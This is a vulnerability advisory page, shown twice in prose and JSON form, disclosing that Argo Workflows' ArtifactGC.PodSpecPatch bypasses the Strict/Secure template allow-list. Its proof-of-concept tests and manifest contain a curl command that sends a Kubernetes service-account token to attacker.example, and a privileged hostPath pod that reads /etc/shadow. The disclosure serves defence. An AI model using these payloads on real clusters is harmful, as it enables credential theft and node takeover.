GHSA-48P8-G2FX-3WWM

Vulnerability from github – Published: 2026-08-13 14:16 – Updated: 2026-08-13 14:16
VLAI
Summary
Argo Workflows: ArtifactGC.PodSpecPatch bypasses Strict/Secure template reference allow-list (Incomplete fix for CVE-2026-31892)
Details

Summary

The allow-list fix for CVE-2026-31892 (GHSA-3wf5-g532-rcrr), and its follow-up coverage of hostNetwork/securityContext/serviceAccountName in GHSA-3775-99mw-8rp4, is incomplete. workflow/util/merge.go ValidateUserOverrides / SanitizeUserWorkflowSpec walk only the top-level fields of WorkflowSpec via reflection. WorkflowSpec.ArtifactGC is allow-listed because admins want users to configure artifact garbage collection. The struct behind that field, WorkflowLevelArtifactGC, has a PodSpecPatch sub-field whose contents flow unmodified into util.ApplyPodSpecPatch on the artifact-GC pod - the same sink the original fix closed for WorkflowSpec.PodSpecPatch. A user submitting a Workflow under templateReferencing: Strict or Secure can therefore still inject an arbitrary strategic merge patch into the artifact-GC pod (hostPath volumes, privileged: true, arbitrary image and command, hostNetwork: true), defeating the stated purpose of Strict/Secure reference mode.

Details

Locations in main at 4d9f021 (HEAD 2026-04-23):

Allow-list and reflection scope - workflow/util/merge.go:19-60:

var allowedUserOverrideFields = map[string]bool{
    "Arguments":             true,
    "Entrypoint":            true,
    ...
    "ArtifactGC":            true,   // <-- allow-listed wholesale
}

func ValidateUserOverrides(userSpec *wfv1.WorkflowSpec) error {
    v := reflect.ValueOf(userSpec).Elem()
    t := v.Type()
    zero := reflect.New(t).Elem()
    for i := 0; i < t.NumField(); i++ {
        fieldName := t.Field(i).Name
        if allowedUserOverrideFields[fieldName] {
            continue                  // <-- sub-fields are not walked
        }
        if !reflect.DeepEqual(v.Field(i).Interface(), zero.Field(i).Interface()) {
            violations = append(violations, fieldName)
        }
    }
    ...
}

The allow-listed type - pkg/apis/workflow/v1alpha1/workflow_types.go:1207-1217:

type WorkflowLevelArtifactGC struct {
    ArtifactGC            `json:",inline"`
    ForceFinalizerRemoval bool   `json:"forceFinalizerRemoval,omitempty"`
    PodSpecPatch          string `json:"podSpecPatch,omitempty"`   // <-- sink input
}

The sink - workflow/controller/artifact_gc.go:731-740 reads the user-controlled value:

func (woc *wfOperationCtx) getArtifactGCPodInfo(artifact *wfv1.Artifact) podInfo {
    info := podInfo{}
    if woc.execWf.Spec.ArtifactGC != nil {
        woc.updateArtifactGCPodInfo(&woc.execWf.Spec.ArtifactGC.ArtifactGC, &info)
        info.podSpecPatch = woc.execWf.Spec.ArtifactGC.PodSpecPatch
    }
    ...
}

And workflow/controller/artifact_gc.go:518-525 feeds it unchanged to the same helper that CVE-2026-31892 closed for the top-level field:

if info.podSpecPatch != "" {
    patchedPodSpec, patchErr := util.ApplyPodSpecPatch(pod.Spec, info.podSpecPatch)
    if patchErr != nil {
        return nil, patchErr
    }
    pod.Spec = *patchedPodSpec
}

util.ApplyPodSpecPatch (workflow/util/util.go:1560) is a raw strategicpatch.StrategicMergePatch over the whole apiv1.PodSpec with no field-level restriction; it is the same primitive that was weaponized by the original CVE-2026-31892 against WorkflowSpec.PodSpecPatch. The pod it is applied to - built in workflow/controller/artifact_gc.go ~line 460-495 - has AutomountServiceAccountToken: true and a hardened MinimalCtrSC() security context that the patch fully overrides.

The merge path is the one the fix already walks. operator.go:#setStoredWfSpec does SanitizeUserWorkflowSpec(&woc.wf.Spec) before JoinWorkflowSpec(userSpec, workflowTemplateSpec, wfDefaultSpec). Sanitize preserves ArtifactGC wholesale. Join uses strategicpatch.StrategicMergePatch with the user spec as the target, so the user's artifactGC.podSpecPatch value wins whenever it is non-empty.

Precondition for the attack: the referenced WorkflowTemplate has at least one template with an output artifact. workflow/controller/artifact_gc.go:79 HasArtifactGC iterates execWf.Spec.Templates[*].Outputs.Artifacts[*] and asks GetArtifactGCStrategy(&artifact), which falls back to w.Spec.ArtifactGC.Strategy when the per-artifact strategy is Undefined (pkg/apis/workflow/v1alpha1/workflow_types.go:245). The user supplies spec.artifactGC.strategy: OnWorkflowCompletion (in the allow-list) so the fallback is satisfied on any template that emits artifacts - the common case for real workloads.

No validation sits between sanitize and sink:

grep -rn "ValidateArtifactGC\|validateArtifactGC\|ArtifactGC.*PodSpecPatch" --include="*.go" workflow/validate/
# (no output)

The merge-package test file added with the fix (workflow/util/merge_test.go @ 4d9f021) covers only WorkflowSpec.PodSpecPatch; ArtifactGC.PodSpecPatch is not exercised.

PoC

Self-contained Go unit tests against the shipped workflow/util package at main@4d9f021. Drop either file into workflow/util/ and run go test.

poc/merge_artifactgc_poc_test.go:

package util

import (
    "testing"
    "github.com/stretchr/testify/assert"
    "github.com/stretchr/testify/require"
    wfv1 "github.com/argoproj/argo-workflows/v4/pkg/apis/workflow/v1alpha1"
)

func TestPoC_ArtifactGCPodSpecPatchPassesAllowList(t *testing.T) {
    attackerPatch := `{"containers":[{"name":"main","image":"attacker/evil:latest",` +
        `"command":["sh","-c","curl attacker.example/exfil -d @/var/run/secrets/kubernetes.io/serviceaccount/token"]}],` +
        `"hostNetwork":true}`
    userSpec := &wfv1.WorkflowSpec{
        WorkflowTemplateRef: &wfv1.WorkflowTemplateRef{Name: "safe-template"},
        ArtifactGC: &wfv1.WorkflowLevelArtifactGC{
            ArtifactGC:   wfv1.ArtifactGC{Strategy: wfv1.ArtifactGCOnWorkflowCompletion},
            PodSpecPatch: attackerPatch,
        },
    }

    // Gate 1: allow-list. Expected to reject - does not.
    require.NoError(t, ValidateUserOverrides(userSpec))

    // Gate 2: sanitizer defense-in-depth. Expected to strip - does not.
    sanitized := SanitizeUserWorkflowSpec(userSpec)
    assert.Equal(t, attackerPatch, sanitized.ArtifactGC.PodSpecPatch)
}

poc/artgc_sink_poc_test.go demonstrates the same patch reaching ApplyPodSpecPatch and mutating the hardened pod baseline (switches image, sets privileged: true, sets hostNetwork: true, adds a hostPath: / volume):

func TestPoC_ArtifactGCPodSpecPatchReachesApplyPodSpecPatch(t *testing.T) {
    attackerPatch := `
containers:
- name: main
  image: attacker/evil:latest
  command: [sh, -c, "curl attacker.example/exfil -d @/var/run/secrets/kubernetes.io/serviceaccount/token"]
  securityContext:
    privileged: true
    runAsUser: 0
    runAsNonRoot: false
    allowPrivilegeEscalation: true
    capabilities: {drop: null, add: [SYS_ADMIN]}
    readOnlyRootFilesystem: false
hostNetwork: true
volumes:
- name: hostroot
  hostPath: {path: /}
`
    userSpec := &wfv1.WorkflowSpec{
        WorkflowTemplateRef: &wfv1.WorkflowTemplateRef{Name: "safe-template"},
        ArtifactGC: &wfv1.WorkflowLevelArtifactGC{
            ArtifactGC:   wfv1.ArtifactGC{Strategy: wfv1.ArtifactGCOnWorkflowCompletion},
            PodSpecPatch: attackerPatch,
        },
    }
    require.NoError(t, ValidateUserOverrides(userSpec))
    sanitized := SanitizeUserWorkflowSpec(userSpec)

    // Baseline built exactly like workflow/controller/artifact_gc.go:createArtifactGCPod.
    basePod := apiv1.PodSpec{ /* AutomountSAToken=true, MinimalCtrSC, limits, etc. */ }

    patched, err := ApplyPodSpecPatch(basePod, sanitized.ArtifactGC.PodSpecPatch)
    require.NoError(t, err)

    assert.Equal(t, "attacker/evil:latest",     patched.Containers[0].Image)
    assert.Equal(t, true, *patched.Containers[0].SecurityContext.Privileged)
    assert.Equal(t, true, patched.HostNetwork)
    assert.Equal(t, "/",  patched.Volumes[0].HostPath.Path)
}

Run:

go test -v -run "TestPoC_ArtifactGC" ./workflow/util/

Captured output:

=== RUN   TestPoC_ArtifactGCPodSpecPatchReachesApplyPodSpecPatch
--- PASS: TestPoC_ArtifactGCPodSpecPatchReachesApplyPodSpecPatch (0.00s)
=== RUN   TestPoC_ArtifactGCPodSpecPatchPassesAllowList
--- PASS: TestPoC_ArtifactGCPodSpecPatchPassesAllowList (0.00s)
PASS
ok      github.com/argoproj/argo-workflows/v4/workflow/util 0.036s

End-to-end Workflow manifest (for a live cluster reproduction by maintainers):

apiVersion: argoproj.io/v1alpha1
kind: WorkflowTemplate
metadata: {name: safe-template}
spec:
  entrypoint: main
  templates:
    - name: main
      container: {image: argoexec:latest, command: [echo, hello]}
      outputs:
        artifacts:
          - {name: artifact, path: /tmp/artifact}
---
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata: {generateName: bypass-}
spec:
  workflowTemplateRef: {name: safe-template}
  artifactGC:
    strategy: OnWorkflowCompletion
    podSpecPatch: |
      containers:
      - name: main
        image: attacker/evil:latest
        command: [sh, -c, "while true; do cat /host/etc/shadow; sleep 3600; done"]
      hostNetwork: true
      volumes:
      - name: hostroot
        hostPath: {path: /}

Controller config for the test cluster:

workflowRestrictions:
  templateReferencing: Strict

With the fix for CVE-2026-31892 in place, submitting this Workflow is expected to fail validation (the fix explicitly advertises that Strict mode restricts users to admin-approved templates). It is accepted, and the artifact-GC pod that the controller creates on workflow completion picks up the attacker's image, command, hostPath mount, and hostNetwork.

Impact

Under templateReferencing: Strict or Secure, the purpose of the allow-list introduced in 4d9f021 is to make workflowTemplateRef the sole mechanism by which a user can request Workflow execution and to block spec fields that let the user override the admin's container configuration. ArtifactGC.PodSpecPatch is exactly such an override: a strategic merge patch applied by the controller to the artifact-GC pod, with no schema-level restriction on what it may change. Any template whose authors have declared output artifacts - i.e., any workflow that produces data, which is the motivating Argo use case - gives the submitter a path to:

  • run an attacker-chosen image as a container in the workflow's namespace, with AutomountServiceAccountToken: true, i.e. holding the artifact-GC pod's service-account token,
  • bypass common.MinimalCtrSC() / common.MinimalPodSC() by setting privileged: true, allowPrivilegeEscalation: true, runAsUser: 0, readOnlyRootFilesystem: false, capabilities.add: [SYS_ADMIN],
  • mount hostPath: / into the pod (reads and writes to the kubelet's node filesystem, subject only to any cluster-level PSA/PSP the operator has enforced independently),
  • enable hostNetwork: true (equivalent to being on the node's network for the lifetime of the pod).

This is the same class of impact the original CVE-2026-31892 (CVSS 8.9 - critical in the Strict-mode threat model) was rated for, against an identical sink. The fix blocks the top-level PodSpecPatch field but leaves a second call site with the same semantics reachable through an allow-listed sub-field.

A minimal fix is either (a) add a sub-field pass to ValidateUserOverrides/SanitizeUserWorkflowSpec that rejects/empties ArtifactGC.PodSpecPatch when MustUseReference() is true, or (b) gate the if info.podSpecPatch != "" branch in createArtifactGCPod on the same WorkflowRestrictions.MustUseReference() check so the sink itself refuses user-supplied patches in Strict/Secure mode.

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-workflows/v4"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.0.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-workflows/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.7.15"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-workflows"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.5.3-rc4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54526"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-13T14:16:09Z",
    "nvd_published_at": "2026-07-16T19:16:50Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe allow-list fix for CVE-2026-31892 (GHSA-3wf5-g532-rcrr), and its follow-up coverage of `hostNetwork`/`securityContext`/`serviceAccountName` in GHSA-3775-99mw-8rp4, is incomplete. `workflow/util/merge.go` `ValidateUserOverrides` / `SanitizeUserWorkflowSpec` walk only the top-level fields of `WorkflowSpec` via reflection. `WorkflowSpec.ArtifactGC` is allow-listed because admins want users to configure artifact garbage collection. The struct behind that field, `WorkflowLevelArtifactGC`, has a `PodSpecPatch` sub-field whose contents flow unmodified into `util.ApplyPodSpecPatch` on the artifact-GC pod - the same sink the original fix closed for `WorkflowSpec.PodSpecPatch`. A user submitting a Workflow under `templateReferencing: Strict` or `Secure` can therefore still inject an arbitrary strategic merge patch into the artifact-GC pod (hostPath volumes, `privileged: true`, arbitrary image and command, `hostNetwork: true`), defeating the stated purpose of Strict/Secure reference mode.\n\n### Details\n\nLocations in `main` at `4d9f021` (HEAD 2026-04-23):\n\nAllow-list and reflection scope - `workflow/util/merge.go:19-60`:\n\n```go\nvar allowedUserOverrideFields = map[string]bool{\n    \"Arguments\":             true,\n    \"Entrypoint\":            true,\n    ...\n    \"ArtifactGC\":            true,   // \u003c-- allow-listed wholesale\n}\n\nfunc ValidateUserOverrides(userSpec *wfv1.WorkflowSpec) error {\n    v := reflect.ValueOf(userSpec).Elem()\n    t := v.Type()\n    zero := reflect.New(t).Elem()\n    for i := 0; i \u003c t.NumField(); i++ {\n        fieldName := t.Field(i).Name\n        if allowedUserOverrideFields[fieldName] {\n            continue                  // \u003c-- sub-fields are not walked\n        }\n        if !reflect.DeepEqual(v.Field(i).Interface(), zero.Field(i).Interface()) {\n            violations = append(violations, fieldName)\n        }\n    }\n    ...\n}\n```\n\nThe allow-listed type - `pkg/apis/workflow/v1alpha1/workflow_types.go:1207-1217`:\n\n```go\ntype WorkflowLevelArtifactGC struct {\n    ArtifactGC            `json:\",inline\"`\n    ForceFinalizerRemoval bool   `json:\"forceFinalizerRemoval,omitempty\"`\n    PodSpecPatch          string `json:\"podSpecPatch,omitempty\"`   // \u003c-- sink input\n}\n```\n\nThe sink - `workflow/controller/artifact_gc.go:731-740` reads the user-controlled value:\n\n```go\nfunc (woc *wfOperationCtx) getArtifactGCPodInfo(artifact *wfv1.Artifact) podInfo {\n    info := podInfo{}\n    if woc.execWf.Spec.ArtifactGC != nil {\n        woc.updateArtifactGCPodInfo(\u0026woc.execWf.Spec.ArtifactGC.ArtifactGC, \u0026info)\n        info.podSpecPatch = woc.execWf.Spec.ArtifactGC.PodSpecPatch\n    }\n    ...\n}\n```\n\nAnd `workflow/controller/artifact_gc.go:518-525` feeds it unchanged to the same helper that CVE-2026-31892 closed for the top-level field:\n\n```go\nif info.podSpecPatch != \"\" {\n    patchedPodSpec, patchErr := util.ApplyPodSpecPatch(pod.Spec, info.podSpecPatch)\n    if patchErr != nil {\n        return nil, patchErr\n    }\n    pod.Spec = *patchedPodSpec\n}\n```\n\n`util.ApplyPodSpecPatch` (`workflow/util/util.go:1560`) is a raw `strategicpatch.StrategicMergePatch` over the whole `apiv1.PodSpec` with no field-level restriction; it is the same primitive that was weaponized by the original CVE-2026-31892 against `WorkflowSpec.PodSpecPatch`. The pod it is applied to - built in `workflow/controller/artifact_gc.go` ~line 460-495 - has `AutomountServiceAccountToken: true` and a hardened `MinimalCtrSC()` security context that the patch fully overrides.\n\nThe merge path is the one the fix already walks. `operator.go:#setStoredWfSpec` does `SanitizeUserWorkflowSpec(\u0026woc.wf.Spec)` before `JoinWorkflowSpec(userSpec, workflowTemplateSpec, wfDefaultSpec)`. `Sanitize` preserves `ArtifactGC` wholesale. `Join` uses `strategicpatch.StrategicMergePatch` with the user spec as the target, so the user\u0027s `artifactGC.podSpecPatch` value wins whenever it is non-empty.\n\nPrecondition for the attack: the referenced `WorkflowTemplate` has at least one template with an output artifact. `workflow/controller/artifact_gc.go:79` `HasArtifactGC` iterates `execWf.Spec.Templates[*].Outputs.Artifacts[*]` and asks `GetArtifactGCStrategy(\u0026artifact)`, which falls back to `w.Spec.ArtifactGC.Strategy` when the per-artifact strategy is `Undefined` (`pkg/apis/workflow/v1alpha1/workflow_types.go:245`). The user supplies `spec.artifactGC.strategy: OnWorkflowCompletion` (in the allow-list) so the fallback is satisfied on any template that emits artifacts - the common case for real workloads.\n\nNo validation sits between sanitize and sink:\n\n```\ngrep -rn \"ValidateArtifactGC\\|validateArtifactGC\\|ArtifactGC.*PodSpecPatch\" --include=\"*.go\" workflow/validate/\n# (no output)\n```\n\nThe merge-package test file added with the fix (`workflow/util/merge_test.go` @ `4d9f021`) covers only `WorkflowSpec.PodSpecPatch`; `ArtifactGC.PodSpecPatch` is not exercised.\n\n### PoC\n\nSelf-contained Go unit tests against the shipped `workflow/util` package at `main@4d9f021`. Drop either file into `workflow/util/` and run `go test`.\n\n`poc/merge_artifactgc_poc_test.go`:\n\n```go\npackage util\n\nimport (\n    \"testing\"\n    \"github.com/stretchr/testify/assert\"\n    \"github.com/stretchr/testify/require\"\n    wfv1 \"github.com/argoproj/argo-workflows/v4/pkg/apis/workflow/v1alpha1\"\n)\n\nfunc TestPoC_ArtifactGCPodSpecPatchPassesAllowList(t *testing.T) {\n    attackerPatch := `{\"containers\":[{\"name\":\"main\",\"image\":\"attacker/evil:latest\",` +\n        `\"command\":[\"sh\",\"-c\",\"curl attacker.example/exfil -d @/var/run/secrets/kubernetes.io/serviceaccount/token\"]}],` +\n        `\"hostNetwork\":true}`\n    userSpec := \u0026wfv1.WorkflowSpec{\n        WorkflowTemplateRef: \u0026wfv1.WorkflowTemplateRef{Name: \"safe-template\"},\n        ArtifactGC: \u0026wfv1.WorkflowLevelArtifactGC{\n            ArtifactGC:   wfv1.ArtifactGC{Strategy: wfv1.ArtifactGCOnWorkflowCompletion},\n            PodSpecPatch: attackerPatch,\n        },\n    }\n\n    // Gate 1: allow-list. Expected to reject - does not.\n    require.NoError(t, ValidateUserOverrides(userSpec))\n\n    // Gate 2: sanitizer defense-in-depth. Expected to strip - does not.\n    sanitized := SanitizeUserWorkflowSpec(userSpec)\n    assert.Equal(t, attackerPatch, sanitized.ArtifactGC.PodSpecPatch)\n}\n```\n\n`poc/artgc_sink_poc_test.go` demonstrates the same patch reaching `ApplyPodSpecPatch` and mutating the hardened pod baseline (switches image, sets `privileged: true`, sets `hostNetwork: true`, adds a `hostPath: /` volume):\n\n```go\nfunc TestPoC_ArtifactGCPodSpecPatchReachesApplyPodSpecPatch(t *testing.T) {\n    attackerPatch := `\ncontainers:\n- name: main\n  image: attacker/evil:latest\n  command: [sh, -c, \"curl attacker.example/exfil -d @/var/run/secrets/kubernetes.io/serviceaccount/token\"]\n  securityContext:\n    privileged: true\n    runAsUser: 0\n    runAsNonRoot: false\n    allowPrivilegeEscalation: true\n    capabilities: {drop: null, add: [SYS_ADMIN]}\n    readOnlyRootFilesystem: false\nhostNetwork: true\nvolumes:\n- name: hostroot\n  hostPath: {path: /}\n`\n    userSpec := \u0026wfv1.WorkflowSpec{\n        WorkflowTemplateRef: \u0026wfv1.WorkflowTemplateRef{Name: \"safe-template\"},\n        ArtifactGC: \u0026wfv1.WorkflowLevelArtifactGC{\n            ArtifactGC:   wfv1.ArtifactGC{Strategy: wfv1.ArtifactGCOnWorkflowCompletion},\n            PodSpecPatch: attackerPatch,\n        },\n    }\n    require.NoError(t, ValidateUserOverrides(userSpec))\n    sanitized := SanitizeUserWorkflowSpec(userSpec)\n\n    // Baseline built exactly like workflow/controller/artifact_gc.go:createArtifactGCPod.\n    basePod := apiv1.PodSpec{ /* AutomountSAToken=true, MinimalCtrSC, limits, etc. */ }\n\n    patched, err := ApplyPodSpecPatch(basePod, sanitized.ArtifactGC.PodSpecPatch)\n    require.NoError(t, err)\n\n    assert.Equal(t, \"attacker/evil:latest\",     patched.Containers[0].Image)\n    assert.Equal(t, true, *patched.Containers[0].SecurityContext.Privileged)\n    assert.Equal(t, true, patched.HostNetwork)\n    assert.Equal(t, \"/\",  patched.Volumes[0].HostPath.Path)\n}\n```\n\nRun:\n\n```\ngo test -v -run \"TestPoC_ArtifactGC\" ./workflow/util/\n```\n\nCaptured output:\n\n```\n=== RUN   TestPoC_ArtifactGCPodSpecPatchReachesApplyPodSpecPatch\n--- PASS: TestPoC_ArtifactGCPodSpecPatchReachesApplyPodSpecPatch (0.00s)\n=== RUN   TestPoC_ArtifactGCPodSpecPatchPassesAllowList\n--- PASS: TestPoC_ArtifactGCPodSpecPatchPassesAllowList (0.00s)\nPASS\nok  \tgithub.com/argoproj/argo-workflows/v4/workflow/util\t0.036s\n```\n\nEnd-to-end Workflow manifest (for a live cluster reproduction by maintainers):\n\n```yaml\napiVersion: argoproj.io/v1alpha1\nkind: WorkflowTemplate\nmetadata: {name: safe-template}\nspec:\n  entrypoint: main\n  templates:\n    - name: main\n      container: {image: argoexec:latest, command: [echo, hello]}\n      outputs:\n        artifacts:\n          - {name: artifact, path: /tmp/artifact}\n---\napiVersion: argoproj.io/v1alpha1\nkind: Workflow\nmetadata: {generateName: bypass-}\nspec:\n  workflowTemplateRef: {name: safe-template}\n  artifactGC:\n    strategy: OnWorkflowCompletion\n    podSpecPatch: |\n      containers:\n      - name: main\n        image: attacker/evil:latest\n        command: [sh, -c, \"while true; do cat /host/etc/shadow; sleep 3600; done\"]\n      hostNetwork: true\n      volumes:\n      - name: hostroot\n        hostPath: {path: /}\n```\n\nController config for the test cluster:\n\n```yaml\nworkflowRestrictions:\n  templateReferencing: Strict\n```\n\nWith the fix for CVE-2026-31892 in place, submitting this Workflow is expected to fail validation (the fix explicitly advertises that Strict mode restricts users to admin-approved templates). It is accepted, and the artifact-GC pod that the controller creates on workflow completion picks up the attacker\u0027s image, command, hostPath mount, and hostNetwork.\n\n### Impact\n\nUnder `templateReferencing: Strict` or `Secure`, the purpose of the allow-list introduced in `4d9f021` is to make `workflowTemplateRef` the sole mechanism by which a user can request Workflow execution and to block spec fields that let the user override the admin\u0027s container configuration. `ArtifactGC.PodSpecPatch` is exactly such an override: a strategic merge patch applied by the controller to the artifact-GC pod, with no schema-level restriction on what it may change. Any template whose authors have declared output artifacts - i.e., any workflow that produces data, which is the motivating Argo use case - gives the submitter a path to:\n\n- run an attacker-chosen image as a container in the workflow\u0027s namespace, with `AutomountServiceAccountToken: true`, i.e. holding the artifact-GC pod\u0027s service-account token,\n- bypass `common.MinimalCtrSC()` / `common.MinimalPodSC()` by setting `privileged: true`, `allowPrivilegeEscalation: true`, `runAsUser: 0`, `readOnlyRootFilesystem: false`, `capabilities.add: [SYS_ADMIN]`,\n- mount `hostPath: /` into the pod (reads and writes to the kubelet\u0027s node filesystem, subject only to any cluster-level PSA/PSP the operator has enforced independently),\n- enable `hostNetwork: true` (equivalent to being on the node\u0027s network for the lifetime of the pod).\n\nThis is the same class of impact the original CVE-2026-31892 (CVSS 8.9 - critical in the Strict-mode threat model) was rated for, against an identical sink. The fix blocks the top-level `PodSpecPatch` field but leaves a second call site with the same semantics reachable through an allow-listed sub-field.\n\nA minimal fix is either (a) add a sub-field pass to `ValidateUserOverrides`/`SanitizeUserWorkflowSpec` that rejects/empties `ArtifactGC.PodSpecPatch` when `MustUseReference()` is true, or (b) gate the `if info.podSpecPatch != \"\"` branch in `createArtifactGCPod` on the same `WorkflowRestrictions.MustUseReference()` check so the sink itself refuses user-supplied patches in Strict/Secure mode.\n\nCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
  "id": "GHSA-48p8-g2fx-3wwm",
  "modified": "2026-08-13T14:16:09Z",
  "published": "2026-08-13T14:16:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/argoproj/argo-workflows/security/advisories/GHSA-48p8-g2fx-3wwm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54526"
    },
    {
      "type": "WEB",
      "url": "https://github.com/argoproj/argo-workflows/commit/277e9cef0ad16d7eaaab253573d0695951a65dbd"
    },
    {
      "type": "WEB",
      "url": "https://github.com/argoproj/argo-workflows/commit/358cc3968c8f06f1be0967e41df191088db0b662"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/argoproj/argo-workflows"
    },
    {
      "type": "WEB",
      "url": "https://github.com/argoproj/argo-workflows/releases/tag/v3.7.15"
    },
    {
      "type": "WEB",
      "url": "https://github.com/argoproj/argo-workflows/releases/tag/v4.0.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Argo Workflows: ArtifactGC.PodSpecPatch bypasses Strict/Secure template reference allow-list (Incomplete fix for CVE-2026-31892)"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…